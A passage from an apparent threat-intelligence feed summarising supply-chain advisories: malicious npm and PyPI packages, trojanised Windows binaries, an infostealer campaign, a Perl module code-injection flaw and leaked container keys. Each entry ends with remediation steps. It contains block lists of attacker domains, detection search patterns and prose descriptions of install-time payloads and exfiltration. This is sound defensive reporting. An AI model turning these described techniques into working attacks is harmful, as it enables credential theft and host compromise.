rule out exposure. Block the indicators, inspect every third-party snippet you serve, and treat any card or wallet address entered or copied on an affected page that day as compromised. Do: Block 1688360[.]cc, webshell[.]lol and the listed .icu domains (with subdomains) at proxy and DNS, and search logs back to 2026-11-13; Fetch every Optimizely snippet you serve (cdn.optimizely.com or your own domain) and search the Project JavaScript and every experiment's custom code for 1688360, webshell, atob( loaders and track.js; check Last-Modified; Review who and what can write to your Optimizely account (users, API tokens, integrations), remove anything you do not recognise and rotate credentials; If you load Kissmetrics, StorifyMe or Minute Media (minute-ly) scripts, inspect them for the same loader; Check CSP reports and browser telemetry for requests to 1688360[.]cc to find pages where the loader ran; Treat any card entered into your own form fields, or any wallet address copied or entered on an affected page on 2026-11-16, as compromised; rotate session tokens kept in non-HttpOnly cookies; Restrict script-src and connect-src in CSP and drop 'unsafe-eval' where you can: Report URI found that a restrictive script-src blocked the payload; Visitors: update iPhones and iPads to iOS 18.7.3 / 26.3 or later ### [critical] a-sub-watcher (npm): malicious package compromises any machine where it is installed; no safe version exists https://helix.ml/threat-watch/i/a-sub-watcher-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database published a malware advisory (GHSA-m5wx-ph7h-3vhf) for the npm package a-sub-watcher on 2026-11-18. Every published version (>= 0) is classified as embedded malicious code (CWE-506), with no patched version available. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the host. All secrets and keys stored on affected machines are at risk and must be rotated from a clean computer. Removal of the package alone is not guaranteed to eliminate the malicious software. Any developer, CI system, or end user that installed a-sub-watcher is affected; there is no safe version to upgrade to. Do: Treat any machine with a-sub-watcher installed or running as fully compromised; isolate it; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems, as removal may not eliminate all malicious software; Audit dependency trees, lockfiles and CI caches for a-sub-watcher and block/reject the package; Review logs and network traffic for signs of exfiltration or attacker access following installation ### [critical] Malware in @tnhorg/agent-skills npm package — full machine compromise, no patched versions https://helix.ml/threat-watch/i/malware-in-tnhorg-agent-skills-npm-package-full-machine-compromise-no-patched-versions · Supply chain · no-fix-needed · since 2026-11-18 GitHub published a malware advisory (GHSA-fv82-jh67-xx7q) for the npm package @tnhorg/agent-skills on 2026-11-18. The package contains embedded malicious code (CWE-506) and every published version (>= 0) is affected, with no patched versions available. GitHub warns that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the machine, including access to secrets and keys. There is no indication of a specific campaign name, victim organisation, or attack date; the advisory is a database listing rather than a vendor fix. Removal of the package alone is not guaranteed to eliminate all malicious software installed as a result. Users of the package should treat credentials as stolen and rebuild affected systems. Do: Rotate all secrets, keys, and credentials stored on or accessible from any machine where the package was installed, using a clean machine; Remove the package and rebuild/reimage affected systems rather than trusting cleanup; Audit systems for persistence mechanisms and other artifacts left by the malware; Block or remove the package from dependency trees and lockfiles; check CI/CD and developer machines for exposure; Review access logs and monitor for suspicious activity from affected hosts ### [critical] gguf-accelerator PyPI package — malicious setup.py downloads and runs coinminer during install (no CVE) https://helix.ml/threat-watch/i/gguf-accelerator-pypi-package-malicious-setup-py-downloads-and-runs-coinminer-during-install-no-cve · Supply chain · no-fix-needed · since 2026-11-18 The PyPI package gguf-accelerator version 0.1.0 is malicious: its setup.py overrides the install command to download and execute a remote executable identified as a likely cryptocurrency coinminer. Anyone who pip-installs gguf-accelerator==0.1.0 runs the malware with installer privileges. GitHub published advisory GHSA-wffj-527j-c4gj on 2026-11-18 as part of the 2026-11-gguf-accelerator campaign, categorized MALICIOUS with CWE-506 (embedded malicious code). There are no patched versions; the package should be treated as compromised and removed. A sample is flagged on VirusTotal. Exploitation occurs simply by installing the package, so any environment with it in dependency trees is at risk. Do: Search environments and lockfiles for gguf-accelerator and remove/uninstall it immediately; If installed, isolate and rebuild affected machines; assume arbitrary code executed during install; Check for signs of coinminer activity (high CPU, unknown processes, outbound connections) and rotate credentials/secrets on affected hosts; Block the package in PyPI proxies/mirrors and internal dependency firewalls; Audit install logs for the download/execution of the remote executable ### [critical] Malicious npm package apintergrationpost — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-apintergrationpost-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-18 GitHub's malware advisory database flagged the npm package apintergrationpost as containing embedded malicious code (CWE-506), published 2026-11-18. All versions (>= 0) are affected and no patched version exists. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the host. Developers or CI systems that installed the package should assume secrets and keys on those machines were exfiltrated. Removal of the package does not guarantee removal of all malicious software it deployed. No legitimate upstream project exists; the package appears to be a typosquat-style or outright malicious publish. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine that installed or ran the package, using a clean computer; Quarantine and rebuild affected machines and CI runners rather than just uninstalling the package; Audit npm lockfiles and dependency trees for apintergrationpost and remove it everywhere; Review access logs and network egress for signs of exfiltration or attacker persistence; Block the package name in internal registries and proxy caches ### [high] BubbleLoader: WinRAR, Windows Media Player, x64dbg binaries — trojanized to carry hidden malware payloads https://helix.ml/threat-watch/i/bubbleloader-winrar-windows-media-player-x64dbg-binaries-trojanized-to-carry-hidden-malware-payloads · Supply chain · no-fix-needed · since 2026-11-17 ReversingLabs (analyst Robert Simmons, published 2026-11-17) dissected BubbleLoader, a loader that rewrites the entry point of legitimate Windows programs and appends two PNG files: a genuine red-to-blue gradient used as an XOR key, and a malformed PNG that carries the encrypted next stage. The host programs named are WinRAR, x64dbg, Windows Media Player, the Firefox launcher and virtiofs. The loader decrypts a final payload that differs from sample to sample, loads it reflectively in memory, hooks ntdll's RtlPcToFileHeader to give it working exception handling, and overwrites compiler padding with timestamp-counter bytes so the payload's hash changes on every run. Early samples date to February 2026, and ReversingLabs saw two activity clusters in mid-September and early October 2026. The write-up names no threat actor, gives no victim counts, and does not say how the altered copies reach victims. Defenders should compare installed WinRAR and other listed binaries with publisher-shipped copies, enforce allowlisting and code-signing checks, alert on memory that is allocated read-write-execute, and watch for protection changes to ntdll exception routines, since payload hashes are not stable. Do: Verify installed WinRAR and other listed binaries match publisher-signed originals; enforce application allowlisting and code-signing verification; Alert on memory allocated as readable, writable and executable simultaneously; Alert on protection changes targeting ntdll exception routines; Deploy static rules flagging PNGs with truncated headers inside executables; Shift detection to in-memory behavior and entry-point integrity checks rather than file hashes ### [medium] IO::Socket::SSL::PublicSuffix HTTP fetch & heredoc code injection (CVE-2026-129891/129892) https://helix.ml/threat-watch/i/io-socket-ssl-publicsuffix-http-fetch-heredoc-code-injection-cve-2026-129891-129892 · Supply chain · partial · since 2026-11-17 · CVE-2026-129891, CVE-2026-129892 Two flaws in IO::Socket::SSL::PublicSuffix through 2.099 (Perl/CPAN), disclosed by the CPAN Security Group on 2026-11-17. CVE-2026-129891 (CWE-494): update_self_from_url fetches the built-in public suffix list over cleartext http with no integrity check, so an on-path attacker can choose the list; a dropped rule makes IO::Socket::SSL's hostname check accept a wildcard certificate across that public suffix, and the change persists until the module is reinstalled. CVE-2026-129892 (CWE-94): the updater writes fetched lines into the module's data heredoc without validation; a line reading END_BUILTIN_DATA ends the data block, and the following fetched lines run as Perl in every process that loads IO::Socket::SSL. The code-execution path needs an attacker who controls the fetched list (the cleartext default URL, which an on-path attacker can intercept, or a caller-supplied URL) and an updater run with write access to the installed module; no in-the-wild exploitation is known, and NVD has received both CVEs without scoring them. The upstream commit 6e756466, dated 2026-11-17 and therefore before the disclosure, switches the default URL to https and makes the updater die on an END_BUILTIN_DATA line. No CPAN release containing the fix exists yet: the latest release, 2.099, is dated 2026-06-26. Until a release ships, apply the commit, or do not run update_self_from_url. Do: Do not run update_self_from_url until a fixed release, or the upstream commit 6e756466, is installed; For CVE-2026-129891 alone, passing an explicit https URL to a trusted host removes the cleartext on-path risk; it does not stop CVE-2026-129892, so do not run the updater on an unpatched install even then; Check whether the installed PublicSuffix.pm was rewritten by the updater and reinstall the module from a trusted source if so; Upgrade IO-Socket-SSL to the fixed release when it ships, or apply the upstream patch (commit 6e756466) now; Audit hosts for unexpected changes to the built-in public suffix list or injected code ### [critical] Malicious npm packages transitions-promise-segmentedcontrol, listviews-actionbars, fallback-datepicker-fcm, imagegalleries-homescreen — full compromise of installed machines https://helix.ml/threat-watch/i/malicious-npm-packages-transitions-promise-segmentedcontrol-listviews-actionbars-fallback-datepicker-fcm-imagegalleries · Supply chain · no-fix-needed · since 2026-11-17 On 2026-11-17 GitHub published four malware advisories (GHSA-gv36-5pf2-g6mm, GHSA-m4c5-mjh5-qjx9, GHSA-5ccv-4rc8-vhxj, GHSA-vvxq-vgwc-w868) for npm packages transitions-promise-segmentedcontrol, listviews-actionbars, fallback-datepicker-fcm and imagegalleries-homescreen. All versions (>= 0) are flagged as embedded malicious code (CWE-506) with no patched versions; the advisories state any machine with the packages installed or running should be considered fully compromised, with secrets and keys at risk of exfiltration to an outside entity. Download volumes are small (6–23/month), suggesting limited reach, but the packages appear to be typosquat-style malicious publishes rather than compromised legitimate libraries. Removal of the packages alone is not guaranteed to remove resulting malware. No fix exists; remediation is removal plus host-level cleanup and credential rotation. Do: Immediately remove all four packages from any machine or CI environment and treat those hosts as fully compromised; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild affected machines and CI runners from trusted images; audit for persistence mechanisms; Audit dependency lockfiles and install history for these packages and block them in npm/proxy allowlists; Review npm audit logs and internal telemetry to determine whether the packages were ever installed ### [critical] npm malware wave: @nullzero/urlcat, personal-custom-button, userinterface-machinelearning, backgroundprocessing-contextmenus — malicious packages fully compromise hosts https://helix.ml/threat-watch/i/npm-malware-wave-nullzero-urlcat-personal-custom-button-userinterface-machinelearning-backgroundprocessing-contextmenus · Supply chain · no-fix-needed · since 2026-11-17 On 2026-11-17 GitHub published four malware advisories (GHSA-8x4p-wc99-jvgr, GHSA-r3pr-vw63-qfq7, GHSA-h82j-5jhg-pfh4, GHSA-796w-qch5-f394) covering npm packages @nullzero/urlcat (~803 downloads/month, 1870 GitHub stars), personal-custom-button (~75/month), userinterface-machinelearning (~5/month) and backgroundprocessing-contextmenus (~27/month). All versions (>= 0) are flagged as embedded malicious code (CWE-506) with no patched versions; any machine with the packages installed or running should be considered fully compromised, with secrets and keys exposed to an outside entity. Removal of the package does not guarantee removal of the malicious software. Affected users must rotate all credentials from a clean machine and rebuild compromised hosts. Do: Immediately stop using and remove all four packages from projects and lockfiles; Rotate all secrets, API keys, tokens and credentials stored on any machine where the packages were installed, using a clean computer; Rebuild/reimage affected machines and CI environments; audit for persistence beyond the removed packages; Audit dependency trees and lockfiles for these packages and any suspicious transitive installs; Review npm install logs and monitor for anomalous network activity or credential use since installation ### [critical] npm malware wave: firebase-readability, expandingcards-socket-virtualization, flexbox-oauth-machinelearning, framerate-interaction-permissions — malicious packages fully compromise hosts https://helix.ml/threat-watch/i/npm-malware-wave-firebase-readability-expandingcards-socket-virtualization-flexbox-oauth-machinelearning-framerate-inter · Supply chain · no-fix-needed · since 2026-11-17 On 2026-11-17 GitHub published four malware advisories for npm packages: firebase-readability (GHSA-xrvr-j9gm-3w3v), expandingcards-socket-virtualization (GHSA-j8ch-jh2p-w8m5), flexbox-oauth-machinelearning (GHSA-jfv5-732c-9w38), and framerate-interaction-permissions (GHSA-58hm-vpp8-gfq5). All versions (>= 0) are affected, no patched versions exist, and each is rated critical with CWE-506 embedded malicious code. GitHub states any computer with these packages installed or running should be considered fully compromised, meaning attackers may have obtained full control, including secrets and keys. Download volumes are low (1–60/month), limiting reach, but any installation is treated as a compromise. There is no fix; removal of the packages is required. Do: Immediately remove all four packages from any machine or CI environment and rebuild from clean images; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, using a clean computer; Audit install logs and lockfiles to identify when and where the packages were pulled, and check for persistence mechanisms; Block the package names in internal registries/proxies and scan dependencies for these names; Review network logs from affected hosts for exfiltration or command-and-control traffic ### [critical] Malicious npm package continuousintegration-cicd-compression compromises installers' machines https://helix.ml/threat-watch/i/malicious-npm-package-continuousintegration-cicd-compression-compromises-installers-machines · Supply chain · no-fix-needed · since 2026-11-17 GitHub's advisory database published a malware advisory (GHSA-7qx6-87jx-fv76) for the npm package continuousintegration-cicd-compression, flagged as CWE-506 embedded malicious code. All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, implying attackers gained full control and can steal secrets and keys. The package sees roughly 5 downloads per month, limiting reach, but any installation is treated as a full host compromise. There is no fix; remediation is removal of the package plus rotation of all secrets and keys from a clean machine, since removal cannot guarantee the malware is eradicated. Do: Rotate all secrets, keys, and credentials stored on any machine where the package was installed, using a different clean computer; Remove the package and rebuild/reimage affected machines, as removal may not eliminate all malicious software; Audit dependency trees and CI/CD environments for the package and block it in registries/proxies; Review access logs and monitor for suspicious activity on affected hosts ### [high] ContainerBots: Docker Hub — leaked cloud keys in public images harvested and exploited within seconds (no CVE) https://helix.ml/threat-watch/i/containerbots-docker-hub-leaked-cloud-keys-in-public-images-harvested-and-exploited-within-seconds-no-cve · Supply chain · no-fix-needed · since 2026-11-17 Stony Brook University researchers Billy Tsouvalas and Nick Nikiforakis put 300 honeypot images across eight public container registries, each holding planted decoy AWS, OpenAI and Anthropic API keys plus fake SSH and database credentials, and reported the experiment at the ACM Conference on Computer and Communications Security (BleepingComputer, 2026-11-17, describing a presentation the day before). Over four months the images were pulled more than 75,000 times. The decoy AWS keys received more than 140,000 API calls from about 5,000 IP addresses: the fastest first use came 7.86 seconds after publication, the median first call 51.19 seconds, and all 100 AWS keys were used within 15 minutes. The calls started with checks and resource listing and sometimes went on to consume the keys. The OpenAI and Anthropic keys were used to exhaust the test-account balances. The researchers loosely call the scanners ContainerBots, but say they showed no sign of being run by one coordinated operator. Most scanners pulled credentials by unpacking image layers or querying the registry API, without ever starting the container. Docker Hub carried nearly all of the AWS activity; Harbor also saw some. The team reported the paper to Docker in May 2026, got only an acknowledgement, and an August re-test showed no change. The keys were decoys planted by the researchers, so this is a measured research experiment, not a breach of real customer credentials; the timings are the reason to rotate any real key that has ever been published in a public image, since the same scanners would find it. Fix: scan images and layers for secrets before and after publishing, revoke anything already exposed, and use short-lived credentials from a secret manager. Do: Audit all container images and CI pipelines for embedded secrets; revoke and rotate any credentials ever pushed to public registries; Scan image layers and git history for leaked keys before and after publishing; Use short-lived, scoped credentials and secret managers instead of baking keys into images; Monitor cloud provider logs for unexpected API calls from unknown IPs; Enable registry secret-scanning/pre-push detection where available ### [critical] npm malware: cookie-parser-ease — malicious package compromises any machine where installed (no CVE) https://helix.ml/threat-watch/i/npm-malware-cookie-parser-ease-malicious-package-compromises-any-machine-where-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-17 GitHub's advisory database published a malware advisory for the npm package cookie-parser-ease (GHSA-3x95-6m73-ggv2) on 2026-11-17. Every version (>= 0) is classified as embedded malicious code (CWE-506) with no patched version available. Per the advisory, any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; all secrets and keys on affected machines must be rotated. Removal of the package alone is not guaranteed to remove resulting malicious software. Any developer, CI system, or deployment that installed the package is affected. There is no fix — the only remediation is removal plus full incident response on affected hosts. Do: Check lockfiles, node_modules, and CI logs for any installation of cookie-parser-ease and identify affected hosts; Treat affected machines as fully compromised: rotate all secrets, keys, tokens, and credentials stored on or accessible from them, from a clean machine; Remove the package and rebuild/reimage affected systems rather than relying on uninstall alone; Audit for persistence and follow-on malicious software left by the package; Block the package name in internal registries and dependency firewalls ### [high] Kokoro TTS: Hugging Face account takeover via re-registered hexgrad.com domain, PoC weight-poisoning https://helix.ml/threat-watch/i/kokoro-tts-hugging-face-account-takeover-researchers-hijack-hexgrad-account-via-domain-re-registration-demonstrate-weigh · Supply chain · unpatched · since 2026-11-17 Security researcher Alon Hertz and a team took control of the Hugging Face publisher account for the Kokoro text-to-speech model by registering hexgrad.com, the domain listed in the project's public DONATE.md, and using it to reset the account password. In a controlled test on a gaming GPU they modified the model weights in 87 seconds so that the model produced audio that differed from the input text, and they checked the result with their normal inference pipeline. They did not upload the modified weights, so no poisoned model has been published or served. The model has nearly 13 million monthly downloads on Hugging Face and is supported by developer tooling from Google, NVIDIA and Intel, with AMD and AWS publishing guides. Its developer has not pushed an update since April 2025. Hugging Face did not respond to the report, and the researchers say it does not verify publishers or that an account is still held by its original owner, so a hijacked or abandoned account could later push a malicious revision that automatic fetchers pick up. The fix is on the platform side. Until it lands, users should pin the model revision, verify weight hashes, and stage any upstream model change like any other dependency update. Do: Pin the exact Kokoro model revision/commit hash rather than auto-fetching latest updates; Verify integrity of downloaded model weights against known-good hashes before deployment; Audit whether production voice pipelines depend on Kokoro and assess exposure to upstream weight changes; Monitor Hugging Face repos you depend on for unexpected new revisions or publisher changes; Treat open-weight model updates like any supply-chain dependency: review, test, and stage before rollout ### [high] Trigram: campaign impersonates ~50 AI, blockchain and logistics brands to infect developers with infostealers https://helix.ml/threat-watch/i/trigram-dprk-linked-campaign-impersonates-50-ai-blockchain-brands-to-infect-developers-with-infostealers · Supply chain · no-fix-needed · since 2026-11-17 Stormshield's Customer Security Lab published a technical report on 2026-11-11 describing Trigram, an industrialised campaign that impersonates roughly 50 brands in the AI, blockchain and logistics sectors to get developers, and cryptocurrency holders, to run an infostealer themselves. Three lure scenarios (fake recruitment, such as a counterfeit Amber Group careers portal with a paste-a-command 'verification' step; fake conference invitations; and parcel-tracking pages) share infrastructure and payloads with a supply-chain branch: a forged, unsigned commit force-pushed on 2026-10-31 to the antd-img-crop GitHub repository adds a prebuild hook that runs on npm run build. The npm package itself was not affected. The payloads steal browser passwords, cookies, keychains, crypto wallets, SSH keys and .env files on macOS, Linux and Windows, then install the OverLord remote-access framework disguised as Google software, with command-and-control located through GitLab dead drops. Stormshield finds strong similarities with DPRK-linked intrusion sets (UNK_DeadDrop and Kimsuky) and assesses with high confidence that Trigram continues the UNK_DeadDrop cluster, but it makes no standalone attribution to North Korea; SafeDep says the match rests on technique and does not prove who the operators are. No vendor fix applies. Defence is detection of OverLord and FlexibleFerret indicators, rotation of exposed SSH keys, browser credentials and wallet keys, and treating install-time scripts and recruiter 'verification' steps as hostile. Do: Audit developer machines for Overlord/FlexibleFerret indicators (com.zoom LaunchAgent/plist, fake Google update agents) and rotate exposed SSH keys, browser-stored credentials, and crypto wallet keys; Verify integrity of npm/GitHub dependencies; review recent commits and prebuild/postinstall hooks in packages like antd-img-crop before running builds; Block known C2 and dead-drop infrastructure (GitLab dead drops, GitHub raw content) and apply geofencing/fingerprinting awareness for fake recruitment portals; Warn developer and policy staff about recruitment, conference-invitation, and package-tracking phishing; prohibit pasting shell commands into 'verification' flows; Enforce credential phishing-resistant MFA, especially for Google accounts, and monitor for LNK/ZIP attachments and PowerShell download patterns ### [critical] mcp-aevo-server (PyPI): malicious dependency-confusion package exfiltrates env credentials and runs remote commands https://helix.ml/threat-watch/i/mcp-aevo-server-pypi-malicious-dependency-confusion-package-exfiltrates-env-credentials-and-runs-remote-commands · Supply chain · no-fix-needed · since 2026-11-17 OpenSSF and GitHub advisory GHSA-g97f-vppp-p428 report that the PyPI package mcp-aevo-server is malware published under a name referenced by ribbon-finance/aevo-trading-skills while that name was unclaimed on PyPI, a dependency-confusion attack. Versions 0.2.0 through 0.2.0.post6 exfiltrate credentials from environment variables and spawn a background thread that listens for remote commands (likely a limited set) to execute on the victim machine, using a Telegram bot as the C2 channel. The package is crypto-related and targets Aevo trading users. No patched versions exist; the package is malicious and should be removed entirely. Anyone who installed it should treat all environment-variable secrets as compromised. Do: Immediately uninstall mcp-aevo-server and remove it from all environments and lockfiles; Rotate every credential, API key, wallet key and token present in environment variables on affected machines; Rebuild affected environments from trusted sources and audit for persistence or unexpected processes; Pin dependencies to verified packages and check whether ribbon-finance/aevo-trading-skills references unclaimed PyPI names; Hunt for Telegram-based C2 traffic and any signs of remote command execution on affected hosts ### [critical] rea1ity-tool (npm): typosquat malware package fully compromises installed machines (no CVE) https://helix.ml/threat-watch/i/rea1ity-tool-npm-typosquat-malware-package-fully-compromises-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-17 GitHub published advisory GHSA-89cp-3m64-fh5x on 2026-11-17 flagging the npm package rea1ity-tool (a '1'-for-'i' typosquat of reality-tool) as embedded malware (CWE-506). All versions (>= 0) are affected and no patched versions exist; the package has been removed from the advisory path but any machine where it was installed or run must be considered fully compromised, with attacker control of secrets, keys and systems. The advisory does not name the malicious behaviour beyond full compromise. Roughly 2,094 downloads/month indicate limited but real reach. There is no fix: remediation is removal of the package plus rotation of all secrets and keys from a clean machine and full incident response on affected hosts. Do: Immediately remove rea1ity-tool from all machines and CI/dependencies; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild/reimage affected hosts; treat them as fully compromised; Audit dependency lockfiles and install history for rea1ity-tool and similar typosquats; Block the package name in internal registries and enable npm provenance/allow-list controls ### [critical] Malicious npm packages leobot-cli, warpcast, warpcast-bot — full host compromise; no safe versions exist https://helix.ml/threat-watch/i/malicious-npm-packages-leobot-cli-warpcast-warpcast-bot-full-host-compromise-no-safe-versions-exist · Supply chain · no-fix-needed · since 2026-11-17 On 2026-11-17 GitHub published three malware advisories (GHSA-ff57-xr4p-6v9g, GHSA-gvx2-mxgq-hwmp, GHSA-rxxq-8r5h-h659) for the npm packages leobot-cli, warpcast and warpcast-bot. All versions (>= 0) are flagged as embedded malicious code (CWE-506) with no patched versions and no known source code; the packages should be considered fully compromised. Any machine with these packages installed or running must be treated as fully under attacker control, with secrets and keys at risk of exfiltration. warpcast and warpcast-bot appear to be typosquats of legitimate Farcaster/Warpcast-related tooling. Impact is limited by low download volumes (325, 12 and 3 downloads/month respectively), but any installation is assumed compromised. Removal of the package does not guarantee removal of all malicious software; there is no fix other than removal and host remediation. Do: Immediately stop using and uninstall leobot-cli, warpcast and warpcast-bot from all machines and CI environments; Treat every machine where these packages ran as fully compromised: rotate all secrets, keys, tokens and credentials stored or accessible there, from a clean machine; Rebuild/reimage affected hosts rather than trusting package removal; scan for persistence mechanisms; Audit dependency lockfiles and install history to identify when and where the packages were introduced; Block these package names in npm installs and internal registries/proxies ### [critical] kartykgithub-ph-c / ph-d / kartyk-test-unscoped-pkg: malicious npm packages fully compromise installed machines (no CVE) https://helix.ml/threat-watch/i/kartykgithub-ph-c-ph-d-kartyk-test-unscoped-pkg-malicious-npm-packages-fully-compromise-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub added three malware advisories (GHSA-jhjw-5w2x-mmh6, GHSA-22xg-369p-hqrf, GHSA-r69m-249c-rm86) for npm packages kartykgithub-ph-c, kartykgithub-ph-d and kartyk-test-unscoped-pkg, all classified CWE-506 embedded malicious code with critical severity. Every published version is affected (1.0.0 for the two ph packages; 0.0.0-stage and 0.0.1 for the test package) and no patched versions exist. The advisory warns that any machine with these packages installed or running should be considered fully compromised, implying attacker control, secret theft and possible persistence beyond simple removal. Reach appears small (hundreds of downloads/month), but any developer or CI environment that installed them is at risk. Remediation is removal plus full incident response; there is no vendor fix. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine that installed these packages, using a clean machine; Remove the packages from all projects, lockfiles and CI caches and block them in your registry proxy; Rebuild affected machines or containers from trusted images; do not assume removal cleans persistence; Audit logs, network egress and npm install history since installation for signs of execution or exfiltration; Scan dependency trees for these package names and versions before further builds ### [critical] npm malware wave: whs4_eud, edulabs, @suruj/scan-dog, tscscan — malicious packages fully compromise installed machines https://helix.ml/threat-watch/i/npm-malware-wave-whs4-eud-edulabs-suruj-scan-dog-tscscan-malicious-packages-fully-compromise-installed-machines · Supply chain · no-fix-needed · since 2026-11-17 On 2026-11-17 GitHub published four malware advisories for npm packages: whs4_eud (266 downloads/month), edulabs, @suruj/scan-dog (20 downloads/month) and tscscan (29 downloads/month). All versions (>= 0) are affected, no patched versions exist, and each carries CWE-506 (embedded malicious code). GitHub's guidance states any computer with these packages installed or running should be considered fully compromised, with control potentially ceded to an outside entity; removal of the package does not guarantee removal of the malicious software. No known source code is available for any of the packages. Any developer or CI environment that installed them is affected; secrets and keys on those machines must be treated as stolen. Do: Immediately stop using and remove whs4_eud, edulabs, @suruj/scan-dog and tscscan from all projects, lockfiles and CI caches; Rotate all secrets, tokens, SSH keys and credentials stored on any machine where these packages were installed, from a clean machine; Rebuild or wipe affected developer machines and CI runners rather than assuming uninstall removed the malware; Audit install logs and lockfiles for the four package names and check for unexpected post-install activity or network connections; Block the packages in your registry proxy / dependency firewall and alert on future installs ### [critical] wallet-modal-223 (npm): malicious package compromises any machine where it is installed (no CVE) https://helix.ml/threat-watch/i/wallet-modal-223-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-17 GitHub's advisory database published a malware advisory (GHSA-764r-557p-9hgx) for the npm package wallet-modal-223, flagged as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists; the package has no known source code. Any computer with the package installed or running should be considered fully compromised, with attacker access to secrets and keys. The package sees roughly 48 downloads per month, so exposure is limited but real. Removal of the package does not guarantee removal of all malicious software, since full control of the machine may have been handed to an outside entity. There is no fix; remediation is incident response: rotate credentials and rebuild affected machines. Do: Rotate all secrets, keys, and credentials stored on machines where wallet-modal-223 was installed, using a clean computer; Remove the package from all projects and lockfiles and audit for other typosquat/malicious dependencies; Rebuild or reimage affected machines; do not assume removal of the package removes the malware; Review logs and network traffic for signs of exfiltration or attacker access; Block installs of the package and scan dependency trees for it ### [critical] npm malware: @doublekk61_pro/postcss-motion-animation fully compromises installed machines (no CVE) https://helix.ml/threat-watch/i/npm-malware-doublekk61-pro-postcss-motion-animation-fully-compromises-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-17 GitHub published advisory GHSA-6jv6-hpqq-w5pr on 2026-11-17 flagging the npm package @doublekk61_pro/postcss-motion-animation as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and there are no patched versions; the package has no known source code and roughly 44 downloads per month. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with the attacker potentially retaining full control even after removal. No CVE is assigned. Users who installed the package must treat credentials and secrets on those machines as stolen and rotate them from a clean machine. Do: Remove the package from all projects and machines immediately; Rotate all secrets, keys, tokens and credentials stored on affected machines, from a clean computer; Rebuild/reimage affected machines; do not assume removal of the package eliminates the malware; Audit npm dependencies and lockfiles for the package and any related typosquats; Review logs and monitor for suspicious access using credentials that were on affected systems ### [critical] framer-motionanimate (npm): malicious typosquat package flagged as malware — full machine compromise on install https://helix.ml/threat-watch/i/framer-motionanimate-npm-malicious-typosquat-package-flagged-as-malware-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-17 GitHub published a malware advisory (GHSA-8x7q-hxcj-jghm) on 2026-11-17 for the npm package framer-motionanimate, a typosquat-style malicious package imitating the popular framer-motion animation library. The advisory states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. All versions (>= 0) are affected and there are no patched versions; the package cannot be safely remediated by removal alone since any malware dropped during installation may persist. Developers and CI systems that installed the package should treat secrets and keys on affected machines as stolen and rotate them immediately from a clean machine. Do: Stop using and remove framer-motionanimate from all projects and lockfiles; Rotate all secrets, keys, and credentials stored on machines where it was installed, using a clean computer; Rebuild affected machines and CI environments from trusted images; Audit npm dependencies for similar typosquats of framer-motion before installing; Review logs and monitor for signs of post-compromise activity ### [critical] Malicious npm package tailwindcss-motionanimate — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-tailwindcss-motionanimate-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-17 GitHub's advisory database published GHSA-5rm2-63mr-98hm on 2026-11-17 flagging the npm package tailwindcss-motionanimate as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched versions exist. The advisory warns that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, so secrets and keys stored on affected machines must be rotated from a clean computer. Removal of the package alone is not guaranteed to remove all malicious software. Any developer or CI environment that installed this package is affected; there is no fix other than removal and full incident response. Do: Rotate all secrets, keys, and credentials stored on machines where the package was installed, using a clean computer; Remove tailwindcss-motionanimate from all projects, lockfiles, and CI pipelines; Rebuild or wipe affected machines and audit for persistence and additional malicious software; Review npm audit logs and dependency trees for other compromised or typosquatted packages; Block the package name in internal registries and dependency firewall policies ### [critical] tailwindcss-animatemotion npm package is malware — full machine compromise for any installer https://helix.ml/threat-watch/i/tailwindcss-animatemotion-npm-package-is-malware-full-machine-compromise-for-any-installer · Supply chain · no-fix-needed · since 2026-11-17 GitHub's malware advisory database published GHSA-3r65-5c5p-4pq5 flagging the npm package tailwindcss-animatemotion as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists; the package has no known source code repository. Anyone who installed or ran it should treat the machine as fully compromised, with the attacker potentially holding full control and access to secrets and keys. The package sees roughly 372 downloads per month. Removal of the package alone is not guaranteed to remove all malicious software it may have installed. The advisory was published and reviewed on 2026-11-17. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where the package was installed, using a different, clean computer; Remove tailwindcss-animatemotion from all projects and lockfiles and block it in dependency policies; Rebuild or thoroughly clean affected machines; removal of the package may not remove all malicious software; Audit systems for signs of compromise and unexpected outbound connections; Check CI/CD environments and developer workstations that may have installed the package ### [critical] Malicious npm package sw-pluginer — full system compromise; rotate all secrets and keys https://helix.ml/threat-watch/i/malicious-npm-package-sw-pluginer-full-system-compromise-rotate-all-secrets-and-keys · Supply chain · no-fix-needed · since 2026-11-17 GitHub published a malware advisory (GHSA-38qc-cchj-49wq) for the npm package sw-pluginer on 2026-11-17. The package is classified as embedded malicious code (CWE-506) with all versions (>= 0) 